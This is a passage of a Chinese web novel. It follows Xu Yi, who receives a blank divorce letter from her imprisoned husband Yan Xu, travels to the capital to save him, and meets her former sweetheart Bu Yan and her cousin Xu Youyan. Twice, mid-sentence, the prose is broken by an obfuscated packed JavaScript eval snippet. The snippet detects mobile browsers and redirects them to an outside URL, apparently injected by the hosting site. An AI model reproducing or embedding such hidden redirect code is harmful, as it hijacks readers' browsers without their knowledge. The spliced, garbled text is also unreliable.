而另一边的气氛就祥和得多。闻人执是槐里远近闻名的俊俏公子,与闻人娘子是表兄妹的关系。他先对上次的事表示了自己的歉意,“表妹就是这样的脾气,还请娘子不要介意。” 徐宜摇摇头后,他又继续说,眉微微皱起,“上次我不肯说那位贵人是谁,是因为他的身份有些特殊。原本言三被贵人看重算是件喜事,只是我去京中这一趟,却发现这件事并没有那么简单。” 徐宜也蹙眉,轻声问道:“那位贵人的身份特殊,莫非是他反对少帝即位,我的夫君才因此受到牵连?可他一向行事谨慎,理智冷静,在往常是断然不会出现这种情况的……”因此她往日也只是对他偶尔挂念,但如今闻人执都已经亲口说了此事不简单,那就意味着言三的境遇比她想象中要遭的多。 闻人执听了有些汗颜,什么行事谨慎冷静,说破了就是见风使舵,即便是倒行逆施也不会露出他的狐狸尾巴。他并不喜欢言三那样的人,但他们好歹是同僚,而且这件事相当的严峻。 “这些他在书信中应该都有交代,”他从怀中拿出一封信交到徐宜的手上,看到女子的脸色不好便温言劝道,“徐娘子,依在下瞧言许那态度,恐怕是要与你……” “和离”二字还未说出口,闻人执就看见面前的女子抽出了里面的信件,有两张。一张密密麻麻写满了字迹,另外一张比不得寻常的信纸,只有四方大小,材质坚硬,即使是在风中也没有吹出褶皱来。 不仅仅是闻人执看见了,另一边的人群也看见了那张硬的跟石头似的信纸。 “哎呀,那不就是写和离书用的信纸吗!”许大婶一拍大腿,干脆地说道。众人纷纷瞪大了眼睛去瞧,又纷纷应和,“看来这言家三公子当真是铁了心要与徐娘子和离啊……” 方才的卫姑娘已经坐下了,抱着双腿一仰头,神气地说:“看罢!我就说言三会休了徐宜的。” 年纪稍长些的大娘见了那封信都明白过来,只剩些未嫁过人的小姑娘一头雾水,她们问道:“那不就是稍微硬些、不容易压弯的纸嘛,为何你们能断定里面就是和离书?” 许大婶:“你们这些黄毛丫头不知晓这些倒是正常。这写和离书的纸哪,跟普通的信纸完全不一样,它只有小小的四方大,还硬的跟石板似的,极好辨认。” “依我看哪,离得好!女子历来都讲求温顺娴淑,可那徐娘子整日舞刀弄棍的,成婚之后还经常抛头露面、进山打猎的,可这些事情不都是男人才会干的事么?”卫妇人的声音铿锵有力。 卫姑娘也说:“没错,她徐宜何德何能,能嫁给言三那样的人!”众人你一眼我一语地说着自己的意见,大多都是赞同言三的意见的。 其中也有质疑的声音,“不过 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众人没好气瞪了沈大娘一眼,又去瞧不远处的两人。其中有个穿粉色衣裳的姑娘眼睛尖,“我瞧着那和离信纸上没写什么字呀,好像全是空白的。” “怎么可能!许娘子你看错了罢。”许大婶伸长了脖子也去看,但那张信纸被徐宜攥在手中,当真是白花花的一片,上面一个字也没有。倒是另外一张被风揉皱的信纸上写满了字,在远处看就是黑乎乎的一大片。 卫妇人道:“怎么可能、怎么可能。这和离信也就是休书,向来都是由男子书写,那言家三公子当真是犯糊涂了?他怎么会把空白的和离信纸寄回来……” “莫非言三寄回来是让徐宜写?”弱弱的有声音这样说,卫妇人柳眉一竖,“绝不可能,历来哪有女子写休书的!我槐里更是没有这种前例。” 絮絮叨叨的声音又在人群中散开,自始至终只有闻人娘子一直看向不远处的两人,尤其是看向徐宜的时候,她的眸光更为复杂。 她嘲讽卫夫人了几句,“谁说女子不可写休书了?像言家三公子这样三心二意,抛弃糟糠之妻的人,徐宜若真是休了她,我第一个拍手叫好。” “闻人娘子真是不守规矩。”卫姑娘状似无意地说,“历来都讲究夫为妻纲,女子就是不能休夫!况且徐宜她配休言家三公子吗?” “……” 徐宜根本不知另一边如热锅上的蚂蚁,已经闹开了锅。她看完信之后很平静,出乎意料的平静,甚至可以说是漠然,眉目之间也看不清楚是什么情绪,淡淡的像是收到了一封寻常信件。 但那是一封和离信。女子向来以夫君为大,女子若是被休,就会被槐里乡的众人诟病,就像沈大娘一样。初开始闻人执瞧见和离信上没有任何字迹也觉得奇怪,但无论是谁写,性质其实都一样。言三将这个信纸寄回来,就意味着他要休了徐宜。 闻人执连连看了她好几眼,本想着劝慰几句,但也不知从何说起。但徐宜好像也不需要安慰,她收下信就径直往砚山中去了。 5. 天落雪 一大清早就有人来敲门,徐宜也没能睡个好觉,这几天她一直在打猎、杀猪,浑身上下都疲惫酸痛得很。 她勉强从床上爬起来,松松拢了件衣裳就来开门。 她还以为是沈大娘,没想到却是过去常来给她送信的人,他先是带着歉意的笑说叨扰了,接着他又提起一个沉甸甸的包裹,示意徐宜接过去,道:“这是言许要我送来的。” 徐宜道完谢送信人就点点头走了,她掂了掂手中的包裹,沉甸甸的。里面许是装的银子。 ——怎么又是银子? 她站在门口有些发愣。外面雾气漫天、青山也只露出一角,呼呼的风吹在脸上也没能让她清醒过来。 过了片刻她才合上门,将包裹放到桌子上,可绳子并未系紧,“哗”的一声白花花的银两一水地倒在了桌面上。 里面还掉出来一把做工精美的刀,看上去就价值不菲。 又是银子。但这次还多了把刀。 昨天闻人执给她和离信纸的时候也顺带着给了她好多银子,说是言三要他务必转达给她的。 闻人执带回来的信有两张,一张就是和离信纸,一张便是寻常的信纸,上面的字迹密密麻麻的、用词相较于之前变得晦涩起来了,她的夫君太久未曾写信似乎已经忘记了这些细节。但他又还记得她喜欢银子和刀剑,甚至还专门打制了短刀,又让人送一大摞银两回来。 这倒令徐宜有些犯难。她昨日看了那封信再进山打猎的时候便一直心不在焉,这几日也是在思索这件事: 她到底要不要写和离书。 言许在信上的口吻比之前更加的冷静、镇定,字里行间都是在为她做考虑和打算,他似乎知晓了她在进京路上出血被风雪掩埋的那件事,所以才在信上说了抱歉、以后不会再连累她了之类的话语。不仅如此他在信上还道出了徐宜困惑已久的、他现在的处境: 他所遇到的那位权贵正是国公府的郁二老爷。永光九年许王朝曾发生一件大事,北始帝废了先前的太子,另立年幼的宣王为太子。那时朝中掀起一阵腥风血雨,其中有太子党和宣王党两派在明争暗斗。而国公府的郁老国公恰恰就是为北始帝所剿灭的太子一党。如今郁二老爷恐怕是步了郁老国公的后尘,反对少帝上位,才招致了祸端。 他说自己处境艰难,郁二老爷或可将他推出去,那时极有可能会连累全族。所以他希望能与她和离。但他又记得答应过她,只能她休了他,所以这封和离的书信该由她来写。 整件事情的脉络都极为清晰分明,言许简单描述了下整个过程,也说明自己艰难的处境,以及怕连累到她。所以他才寄回和离书,让她书写。他还让她不要再白费力气、白花银子地去京中寻他了,因为很可能再没机会相见了。 整封信徐宜读下来很难受,但她感知痛苦向来愚钝,或者从不外露。她知晓他可能遇上了威胁,但却没想到竟是这般严重化,以至于有性命之尤。 但她也觉得这封信很奇怪。遇上这样的处境,言许想与她和离、想推开她,这是意料之中的。她也会这样做。 只是他在信上并没有对她展露出任何的情绪,忧伤、思念、惊喜……这些通通都没有,仿佛是在给陌生人写信,只指出问题再给出问题的答案。 这与他过去写信的风格完全不符。像是在短时间内变了一个人一般。 徐宜曾怀疑过他被监视了,所以他只能用那样不透风不透气的口吻写信。但这次他说自己受到这位郁二老爷的赏识、替他做事,是直到最近才被拎出去顶罪的。 那就意味着他从未被什么人给监视。 可这么久他为何一直不写信回来,也不回她写给他的信?又为何偏偏在这个时候寄回这样一封诀别信呢? 她实在是摸不透他。 她的夫君还记得她喜欢银子和刀剑,也记得若是和离的话要由她来写和离书,但他似乎忘了比这些要重要的事,明明是他先提出来的,也是两人所约定好的。 司州多雨雪,成婚的日子也是个阴冷的天气。槐里人都说言许门第高性子温柔以后将会是个好夫君,徐宜虽答应成婚心中却因为有所顾虑而一直惴惴不安。她不愿意放走任何一个对她好的人,也不愿意被人丢在身后。 因此她做出一件傻事。她成婚之前就去城里买了和离信纸回来,就藏在屋内。 不巧被言许给看见了。 她目光闪躲不敢再去看他,脸打了胭脂原本就红,这下更是无地自容了。她支支吾吾地解释,“……我只是,只是我……母亲曾经这样说过。说是成婚时就要备好和离信纸,以备不……时之需。” 桌上床前都放着快要燃尽的火烛,烛火弱弱地摇曳着,照出来的光亮并不明。因此徐宜才敢借助余光去看言许。 他穿着红色婚服站在离她不远处的地方,长发半披半束,烛火照上他的眼眉。他也正一错不错地看着她,只是目光有些沉,眸子里还多了些她看不大懂的情绪。 “其实我的母亲没有说过。我……也不知道自己为什么要这样做。”不知怎么的,她不想再继续撒谎、编纂借口了,她只好无措懊恼地弯下眸子这样说道。 回应她的是一片沉默。言许依然站在那里,眸光落在她身上却不肯说话。 往常她像这般示弱,言许便会立即服软。可这次他没有。徐宜也不知道再说些什么,她猫着身子将和离信收好,但头上的编发太过繁琐以至于与床笠的硬物给绞缠上了。 怎么什么倒霉事都来了。她抓住头发准备向外扯,却蓦地感受到身后传来一声叹息,极浅极淡温温和和的,他缓步走前来为她解开头发上的死结,随后就打开屋门出去了。 自始至终未曾对她说过一句话,徐宜坐在床上心还是酥酥麻麻地一阵跳。 缓过来便是担心和恐惧——言许会不会因为这件事就不与她成亲了?外面这么大的风雪他会去哪? 正在她犹豫自己要不要追出去之时,屋门被扣响两声就又被打开,言许端着一小碗粥走了进来,在雪色的映衬下显得更为好看。 那晚就这样过去了,徐宜也没再放在心上,只是依稀记得他那时说的话,“我没有怪你,是我还做得不够好。”说这话的时候他的语气落寞的厉害。 夫妻本是一体。自那晚两人约定好无论有什么顾虑都应该说出来,不能自己一个人憋在心中、一个人扛。 …… 这样微不足道的一个约定,她的夫君该是忘了。可这对于她来说很重要。是言许主动让她卸下心防、让她信任依靠他,现在却甩手不顾她了。 徐宜闭紧眼。 他寄回来的这封信就是在推开她。一月中旬京中相见的约定就不再不作数了。 尽管言许不让她去京中寻他。但她还是想去,她想去看看究竟怎么回事。 她不想别人对她有所隐瞒,她不喜欢被闷在鼓里,她不喜欢这种等着被处刑、并且什么也做不了的无力感。 冷风从门缝里钻进来,桌上的书本被翻看几页。 徐宜在心中默默下了个决定,眼中藏着些碎雪细光。她还是要去京中。 前几日卖牛卖羊卖猪赚来的银两已经足够了,只需在路上再节俭些即可。 上次收拾好的行李包裹还规整地摆放在书架子上,她将那本律法书摆正之后,就提起包裹和那袋银子出门了。 照常的行程,驱马五日即可到达交州。只是这次向沈大娘多嘱咐了件事。 她最放心不下自己的马儿,它还在山中寺庙上治病,也不知什么时候能治得好。但她也不知晓自己什么时候能够从京中回来,她才请沈大娘继续照顾那匹马。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少帝即位不可见血,这些太学生就一直被关在廷尉府的牢狱里,恐怕要等到年后才能问斩了罢?” “不能罢,少帝的脾性极难琢磨。先前一年一次的人祭祀大礼,有些人偷奸耍滑并未布置好寺庙,他便一怒之下杀了许多的人。这可是对神佛不敬!由此看来他当真对此事毫不忌讳,想杀就杀。” “……”她们还在絮絮叨叨地说着什么徐宜已经听不见了,她扒着碗吃几口馄饨就赶忙跑去太学里了。 出客栈之后,徐宜又戴上箬笠,牵着马匹走在长街中。她行色匆匆,鞋底踏过路面的小水坑,泥点子顿时飞溅起来。 它眉眼间尽是散不开的浓雾霭。 永光十年她曾来过京中,那时正逢太子被废,北始帝尤其不喜欢这个太子,即便是众位肱骨大臣反驳,他也要废。到最后京中发生了一场极其沉重惨烈的血案: 支持太子的那一派全都被灭族了。 其中不乏一些在朝中极有威望的大臣,丞相府、国公府都损伤惨重,尤其是清正廉洁的李丞相、年迈稳重的郁老国公……他们都死在这场血祸中。 太子也被追杀至死,且死无全尸。寒冬腊月之时,皇后也在冷宫跳井而亡。 许朝的人都极其避讳谈到这场血祸,他们都竭力避免与废太子产生任何的联系。许多有关废太子的史料都被烧掉了,所以一旦与他产生何种关系,都是死路一条。 这样敏感沉重的罪名—— 言许却恰恰被定上了这样的谋逆之罪。可能当真如信中所写那般,他必死无疑,结局甚至会更加凄惨。 “若有人犯下谋逆不轨、离经叛道的罪名,当是弃市问斩、为世人所唾弃,死无全尸、尸骨无存。” 许朝律法中也这样写。 6. 天落雪 她的脑中一遍遍浮现起言许的模样来,她哽咽着风雪,喉头难受得很。 言许所处的境遇比他在信中所写还要更糟些。他被廷尉府的狱卒擒走、被关在府里的牢狱中,方才那些大娘说少帝即位短时间内是不会行刑的,但谁也摸不透那位少帝的脾性,没准还会提前行刑。 谋逆不轨、离经叛道。这样的罪名是在许朝律法中写得明明白白:若有谋反者处以极刑死无全尸。 而她的夫君已经被定罪了。 徐宜感到一阵心慌不安。握住马绳的手攥得更紧了些,她皱着眉左顾右盼地,很急切地想要做些什么,但却又做不了什么,因此显得格外焦躁。 她就这样走到了廷尉府门口。 廷尉府的大门紧闭着,狱卒腰间配着长刀,像竹竿似的站在两边。他们昂首挺立地直视前方,一脸正气神情肃穆。 而大门下面的台阶上,正跪着一群人,乌泱泱黑漆漆的乱成了一锅粥。 其中怨声、哀声载道,连成一片在偌大的风雪中竟是微不足道。 “求求官爷大发慈悲罢!让我见见我儿,他才十六岁,命不该绝哪……” “山之他绝对不会谋逆造反,他性子那么糯怎会……谋反!这天大的罪名降在我们的身上,实在是冤枉——” 有位妇人穿着白色的丧服,披麻戴孝的哭丧着脸,大吼道:“我儿平白无故死在太学中,这事我要讨回一个公道。” “是啊是啊,争一个公道!”众人纷纷应和着。在迅猛的北风之下,个个都被冻红了脸,却始终跪在地上哀求。 狱卒们本是不关心的。只“砰”的一声大门被推开,身着蓝衣官服的廷尉大人走了出来,他附耳向狱卒说了几句,狱卒们就提着刀剑朝跪在地上的人们走来。 “你以为我怕你们!”为首的那人几乎是目眦尽裂,他的头发散乱,吼道:“你们这样的官员胡乱定罪,全都该死!” 狱卒一刀劈向他的颈,那人霎时就没了声息,这几乎只是一瞬间的事情。 众人反应过来都面露惶恐,接着便垂下头不敢再说一句话。 徐宜停马在道路一旁,心有余悸地别开眼睛。 这是她第二次看到杀人的场面,长刀没过人的脖颈,鲜血再迸溅开来。 跪着的人也只是惊惧却没有逃散,看来他们都知晓狱卒会杀人,但跪在地上求饶是他们唯一的机会和选择。 这几日廷尉府也常常见血。过路的行人也见怪不怪地摇摇头,连正眼都不看。廷尉府并未像客栈内两位大娘所说的那般平和,他们从不避讳少帝即位不可见血。 廷尉府本是查案伸冤的地方,现在却变成了行刑场。 血流如注,长梯上流满了血。狱卒们一脚踹在那人的尸体身上,再用棍棒打在众人身上,像驱赶牲畜般驱赶他们。 徐宜不再去看。谋逆这样的罪名相当严重,狱卒们对他们尚且如此,那对被扣上谋逆罪名的太学生们只会更加残忍。 短刀抵着腰身有些疼,她垂眸看向这把短刀。它的刀柄泛旧了,却刻着精细的花纹,显出一种古味来。 这是祖父亲手打制给她的刀。 “铮”的一声,短刀被拔出来。指尖摩挲在刀刃上,泛出粼粼的白光,但她却想起方才杀人迸溅出来的鲜血,血色逐渐在眼底蔓延开。 祖父生前是位屠夫,也是猎户。一辈子捕猎杀生,山中寺庙里的和尚们见了他就跑。孩子们见了他也跑,祖父那时无奈地笑说,“我只是杀杀牲畜,又不会杀人。怎么个个见了我就跑呢!搞得我像是什么洪水猛兽……” “我不是饕餮,又不会吃小孩。”记忆中的祖父粗眉长脸,说起话来胡渣子上下翘起,表情还有些委屈,“也就是我们阿宜了,孝顺又勇敢,从来不会避着祖父。那年祖父打猎,不幸被大雪困在山中,还是你一个女娃娃来找我……” “哎,不说了、不说了。”见她一直盯着自己腰间配着的短刀,老人便疑惑地皱起眉目,弯下身来捧起她的脸问,“你喜欢这把刀吗?” 她那时不喜欢刀,只觉得随身带把刀能够吓退那些没事找事的人,就像他祖父一样,和尚和小孩儿见了他都绕着道儿走。祖父却误以为她是真心喜欢刀,专门为她打了一把。说是以后若是练好了刀,走遍天下都不怕,神挡杀神佛挡杀佛人挡杀人,也不会饿肚子。最关键的是还能继承他的衣钵。 不曾想,他去世后,父亲摔了他的衣钵,砸了他的铺子。徐宜也没能继承到。 手中的短刀不过一寸长,多年未曾出鞘还是锐利无比,并未像刀鞘那般泛旧,在漆黑的天气中就像是将开未开的昙花。 马儿长鸣一声。连续走了五日的路程,它许是累了,棕色眼睛疲惫得很。阵阵马蹄声乱糟糟地砸在地上。 再就是下雨了。 徐宜躲在廷尉府背后的一个茶水铺子的屋檐下。铺子不知怎的并未开门,偶有几个行人走过,这条街上还是冷清得很。 她侧过身抚摸了下马匹的头。这是匹温顺的马儿,顺着她的手心开始蹭。她又想起远在槐里的自己的马儿,众人都说它眼睛上有旋毛,是匹不祥的驽马。 她的姨父姨母也很不喜欢它,它幼时还被卖过,自此就瞎了眼断了腿。 槐里的人也就更加肆无忌惮,见了就对她说,“这驽马原本就没有什么用处,现在瞎眼断腿的还能做什么用?” 徐宜拍拍马匹,转身正要上马。却瞧见了远处走来的一位年轻公子,雨幕下看得不甚清晰她却依然觉得他是好看的。 走的近了,却越发地令她熟悉。 他似乎正是因为注意到了徐宜才向她这边走来。年轻公子一身青灰华服,撑着把十二节骨伞,周身的气质温和淡淡,与她的夫君极为相似。 但他不是。 “徐宜,你在这里做什么?”他皱起眉,开口就破功了,话语中有一股针锋相对的探寻的意味。 徐宜不答,看着眼前的人有些恍惚。最后才在他询问的目光摇了摇头。 他正是她年少所喜欢的人,也是弃下她不管不顾的人。 唤做卜晏。 他少时游历到砚山,为着赏玩风景就住在了山脚的客栈上。也就是在那时,她进山打猎时遇见了他,他吊儿郎当地坐在树上说她的箭术很差还需多加练习。再后来卜晏常常会教习她箭术,他也懂得特别多,为她讲了许 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往事可堪回首,那时觉得沉重痛苦,如今回想起来却觉得释然。 雨声渐渐打落在屋檐上,时而轻时而猛的,徐宜的神思也渐渐回拢过来。 卜晏还在看她,眼底相较于三年前更加复杂了,之前她还能看懂些情绪,现在怕是不能了。朝中都有阵营党羽一说,她不知道他现在是何立场、有何目的,因此她的心中便多了几分警惕。 “……找人。”她微微仰头,望进那双肆意的眼睛里,轻声这样说道。 卜晏轻抬下巴,笑起来道:“来廷尉府找人,看来你要找的这位身份并不简单哪,莫非是廷尉府里被关押的犯人?” 这人还真是一如既往的聪明。 他这一点倒是没有变,对于这些事情的感觉一向敏锐坚定。 徐宜点点头就没再理他了,正准备上马背找个客栈歇下的时候,卜晏却抓住她的袖襟不放她走,同时也压住马鞍。她以为他要擒她归案入狱,所以想要挣脱他的束缚,但他却牢牢抓住不肯放开。 “你做什么。”徐宜有些不耐烦了,瞪向他这样问道。可谁知卜晏并没有反应,徐宜另一只手就抽出短刀刺向他的手腕,他蓦地放开,所以只有浅层的皮肤被刺穿出血。 徐宜看到血色之后轻声说:“你的反应变慢了,卜晏。” “是啊,赶不上你了。”卜晏皱眉看着自己手腕上的伤口,一小股血流淌在手背上,再顺着指缝滴落。 徐宜看到他这个反应有些疑惑但又懒得再深问下去:“那你如今打不过我还拦我做什么?” 他笑了片刻才答:“我带你去找你所想找的那个人。” “你这么好心。”徐宜心直口快地说,随后退开两步离他更远些,乌黑圆润的眼睛看向他,眉间又是忧虑又是顾忌。 面前的人是尚书府的嫡长公子,早年入官不说,现在又神态舒缓穿着又是华贵的衣裳,没准在朝廷上正是炙手可热。他或许没有办法也没有义务救言许出来,去能让她进去见见自己的夫君。 她一直上上下下地打量着他,打量不出来就只好蹙起眉来轻声问:“我可以相信你吗?” 7. 天落雪 她还是这般不设防。之前他就此事教过徐宜,只有身边好友才可如此亲近,相反对其他人都要冷淡些,不可一水地都放下戒心和防备。 可那时她是怎么回应的? 她先是装乖应一声好,漆黑的眼睛垂下显得有些无辜。卜晏知道她是在装乖就不会软下语气去哄她,她也有所发觉,气不过就凑过来低吼说,“有人找我说话就不错了,我自然全都要以诚相待。” 张牙舞爪的样子像极了只发怒的兽,她清润的眸子望向他,又说:“即便我与人亲近交心,可他们依旧不会搭理我、也不会……喜欢我。” 那时他以为她是在装可怜、是在说笑,却不知道她说的都是实话。 …… 天雷乍响,看来雨势短时间是不会减弱了,长街都被水给浸透了。 话出口她就有些后悔了。还是那个原因,他的立场并不明确,说出的话也是对此含含糊糊避而不谈,像在与她兜圈子似的。 徐宜见他发怔,便以为他又是在耍自己。他的立场不明她也不想再问下去,她清楚卜晏这个人就像一只狐狸,目光狡黠做事缜密。若是他想骗人就没有不敢撒的谎,也没有圆不过去的谎。 她有些恼自己同他浪费时间,因此也顾不得雨了,她翻身上马正要驱马离去。 卜晏见此状无奈地失笑,“你不想找了吗?错过我这家店就没有下家村了。若是你想见的人当真是囚在廷尉府中的罪犯,今日不见往后可就见不到了。” “什么意思?”徐宜疑惑蹙眉。 “就是你所听见所理解的意思。”卜晏收了伞,拍了拍肩上的雨雪,接着再将那把华美精致的十二折骨伞放到墙角。 他的姿态不急不缓,倒是优雅得很。仿佛是算定了徐宜会答应她留下来。 徐宜默了几秒。她抓紧马匹的棕毛踩上马镫、又站起身来,当真是要下马的前兆。卜晏狡黠的眼睛弯起来,里面藏着势在必得的笑意。 “我不信你了。”听到这句话,卜晏突然生出些错愕。 “啪”的一声,路上的泥水溅起。 急促的马蹄声嘚嘚响起,原是徐宜握紧马鞭、一拍马屁股,驱马疾驰离开了。 卜晏:“……” 话还是说得太早了。看来这个姑娘虽然有些生疏,但好歹学会戒备其他人了,只是这第一位尝试的人,竟是他。 他摇摇头迫使自己不再去想此事,正事要紧。 今个儿郁二老爷让他来清点下廷尉府的牢狱里还剩下多少太学生。先前死了两名学生,牢里阴冷无光,定还会再死人。 这与近来京中发生的一起大案子相关:太学生谋逆。少帝即位后知道了大怒一场,想要将这群不知好歹的太学生当众问斩,以肃清朝廷、以树立皇威。 但太学生都是些年轻书生,也都是会识字、有脑子、懂律法的读书人,怎会蠢到明目张胆地谋逆造反?况且少帝年幼情绪不稳定,极易生气是没错。但这其中定也少不了郁二老爷的煽风点火。 说不定这把火还是他亲自点燃的。 卜晏不知道徐宜独身来到京中是要找什么人,她眼底有浓浓的乌青和红血丝,不仅如此,人和马匹的躯壳都是疲惫的。想必是刚来不久,几乎是未曾休息就跑到了廷尉府寻人。 什么人对她如此重要? 他很想问问她,但是他却不能问也不敢问。是自己辜负在先,他现在已经没有任何资格对她的生活进行干涉。 他撑起伞,在灰黑的雨幕中渐渐向廷尉府走去。梯口上的血迹已经清洗干净,人群差不多都被驱赶完,所以廷尉府的门口才空无一人。 大门为此而敞开,狱卒们恭敬地躬身行礼。 - 徐宜找到京中较为偏僻的一家客栈,一是避人耳目好打探消息,二是她的钱袋子变瘪了,生活还是节省点为好。 言许之前送来的那些与和离有关的银两,她都没用过。不到万不得已,她是不会拿出来用的。或者说她一日没有见到夫君,一日没有写下和离书信,那些银两便不作数,也不能拿来用,只能拿来应急。 桌上倒着一杯热茶,袅袅热气飘起。窗门敞开,外面车马碾雪的声音传来。 徐宜却无心顾及,她来回踱步,很想为自己的夫君谋一条生路。 谋逆这样的罪名虽大,却也极易错判,史书上也记载不少错判的案子,但书上的结局是极好的,有人为他们洗清了冤屈,架在他们脖子上的刀也都被取了下来。 那这是不是就意味着言许还能有希望活下去? 心中有了庆幸和喜悦,她紧皱的眉头才舒展开。如今总算有了方向,她在京中无权无势,若是去廷尉府跪着求定是起不了作用的。她只能祈求这场灾祸的背后不会很复杂,不会延伸开偌大的利益网。如此这样她才有机会救言许。 既然是在太学里被定罪擒走的,那她要去的第一个地方就是太学。 言许曾经在书信中提及了很多次他的老师,德高望重而明辨是非,定然知道不少关于此案的细节。 漏风的客栈门吱吱呀呀地发出声响,外面此时又有人扣响了屋门。 不会是卜晏,他不会这么闲。客栈人多眼杂,住着很多游荡江湖的人士,还有一些大腹便便的商人,她必须得小心谨慎为上。她屏住呼吸声,握住腰间的刀柄,缓步靠近屋门。 “小宜是我。”扣响屋门的声音停了,传来一道温柔的声音,他似乎怕她听不出来是他,便又添了一句,“你的兄长。” ……兄长? 徐宜怔了下才打开门。 开门就看见了一张年轻公子的脸,他穿着较为朴素的灰布衣裳,这样冷的天他穿得极薄。走进来微微俯身喘着气,仿佛是外面的风将他给吹折了。 这是她姨父姨母家的孩子,也是她的表兄徐尘,字有言。 他身体本就不好,现在好像更糟了。徐宜没有多余的衣裳,她忙把窗门都关上,然后将他给拉进来坐在椅子上,想问问他来做什么,却没想到他突然剧烈地咳嗽起来,一咳便停不下来。 徐宜有些无助,她还没有想好该怎么面对他,因此只好选择沉默。 她的这位表兄仪态端方长相俊朗,自小便好读书学习,可父母并不许他。徐家家境还算过得去,但他父母的心思却没有放在他身上。等到他在永光七年得到了进入太学的名额,他的父母才想起来有这么一个儿子,原本为他取名为“尘”便是希望他能与土地为生、为家庭分忧,后来又觉得他这名字不适合朝野,于是便卖了徐宜的那匹驽马,为他取了个字,叫有言。 谁知用了“有言”之后,他原本就不顺的仕途更加不顺了。尤其是永光九年,徐有言修了好些书信回来说自己郁郁不得志,还携带着好些银子,话里话外虽然都说的是些不算特别重大的事情,但其中的别离意味特别重。也是在那之后,他再未回过家,偶有几封书信回来也并未透露他的生活,银两照常送回,姨父姨母也就未觉得奇怪了。 可他现在的身子竟成了这样。徐宜疑惑地皱起眉目,永光九年京中的确发生了大事,太子一党都被擒获,可她这位表兄信里都不是在诉说此事,而是说他得不到太学里面老师的认可和赏识。 他究竟发生何事了? 她对徐有言的感情很复杂,生疏之余多了几分嫉妒,甚至还因为那匹驽马的事情对他有些敌意,但她犹豫几番还是轻声问出口了:“……你还好吗?” 徐有言缓了过来,他微微笑,“我没事。”他抵着拳头又咳了下,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142401|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不谈我,我们先说正事。” 他正色道:“妹夫在三天前被少帝定罪,接着被廷尉给擒走了。此前京中未有什么风声传出来,因此我并不知道。我本想就此事修书给你,但我却被某些事情给耽搁了,就……没来得及。幸好妹夫为人谨慎冷静,想必他对自己所遇到的危险早已有所察觉,定然早已告诉你,我今日想着来这客栈撞一撞运气,没想到还真的就碰上了你。” 徐宜惊愕不已,她没有想到他会因为她而留意言许在京中的动向,磕磕绊绊地说出来:“多谢……兄长。” “傻姑娘,你帮了我那么多,我这般又算得了什么。”徐有言从怀中拿出一本书,继续说道:“这是妹夫读的书,他们正是根据他写在书中的批注来定罪的。我从廷尉那里抄了份拓本来,仔细翻阅之后才知道妹夫这罪名算是板上钉钉,实在是难以洗清。少年即位最忌讳的不是血,而是他写下的或者是说别人污蔑他写下的这句批注。” 徐宜问:“他写了什么?” “驽马之用甚大,驽马之命不可轻,可轻也不可辱。”徐有言复述了两遍,神情极其严肃,“大许王朝因为常年受到北边戎人的进犯,戎人的坐骑就是驽马。上位者和百姓都极其厌恶驽马,不论是戎人的还是许人的,长得像驽马,他们便都不加辨别地都厌恶。” 徐宜听了脸上的血色几乎一扫而空。许朝人对于驽马的厌恶不吝于对戎人的仇恨,他们不仅会杀死驽马,还会将抽掉驽马的筋骨。言许若当真是因为这句话而定下的罪名,那想要洗清罪名相当的难。不过这的确像是他的夫君会说出的话,但他不会在书上写下这样的批注,如此这般不仅会留下把柄也会被有心之人构陷威胁。 现在他正是被构陷入狱了,不久就要以谋逆造反的罪名斩首示众。 “废太子也有过这样的想法,他认为戎人可以驯化驽马利用驽马征战四方,那我们许人也可以。驽马归根结底就是工具,我们不应该先入为主地将驽马当成我们的敌人。只是永光九年太子被废、太子一党被剿灭之后,所有与太子有关的东西都成了禁论。所以妹夫这句话一呈上去,少帝就立即将他归结为太子一党,也为他定上了谋逆的罪名,发怒说要折磨他要杀掉他。”徐有言叹一声继续说。“少帝虽已即位,但他内里还是怯懦惊惧的,废太子虽然已经死了,可他还是害怕太子会回来抢走他的皇位。太子一党覆灭,可不论是在朝中还是在山野,都有人心向着前太子。因此少帝才如此风声鹤唳、担惊受怕,以至于一点风吹草动,就能打草惊蛇。” 徐宜想起言许写寄给她的最后那封信。言许提到了赏识他的那位贵人:郁二老爷。 ——如今事情败露,覆舟难行,郁二老爷或可将我推出去。 推出去,推出去,想必就是推出去顶罪了。至于这覆舟难行她暂且还不知道是什么意思,不过还是能得知他的夫君绝对不会写下这句批注,这句批注就是批注的,也是其他人污蔑言许的证据。 “言许不会写下来。”她斩钉截铁地道一句,接着就将自己在信中获得的信息都给一五一十地告诉了徐有言。 徐有言默了会,“这背后比我想象的还要更为复杂些。不过我们当务之急还是要找到妹夫被构陷威胁的证据,你在来京中的路上风餐露宿、舟车劳顿,我本想着让你在客栈多休息会,”他轻笑了声,继续说道,“……但我想你这性子绝对闲不下来,可明儿太学休学一日,我们也无法行动。” 徐宜微微点头心中默默记下,眼睛弯起道谢,可徐有言的眉头从未松下。 “前几天我去见过妹夫。”他的神色不对,顿了半晌才说下去,“他的状态很不对劲,仿佛不认识我似的。所以我想让你去廷尉府见一见他,好好地开导下他、并让他相信我们。” 8. 天落雪 翌日清早飘着小雪,像是柳絮又仿佛是撒在天空中的盐渍。 京中近来因少帝刚上位就要杀掉众多太学生一事而闹得人心惶惶,街上的摊贩并不多。 徐宜跟在她的兄长身后,眼睛紧紧地盯着他的后背生怕走丢了。 徐有言要带她去牢狱里看她的夫君。 脚步凌乱无章法,眼睛也疲惫不堪,连带着身子也摇摇晃晃无个定点,不知是风雪弄的鬼还是自己的心静不下来。 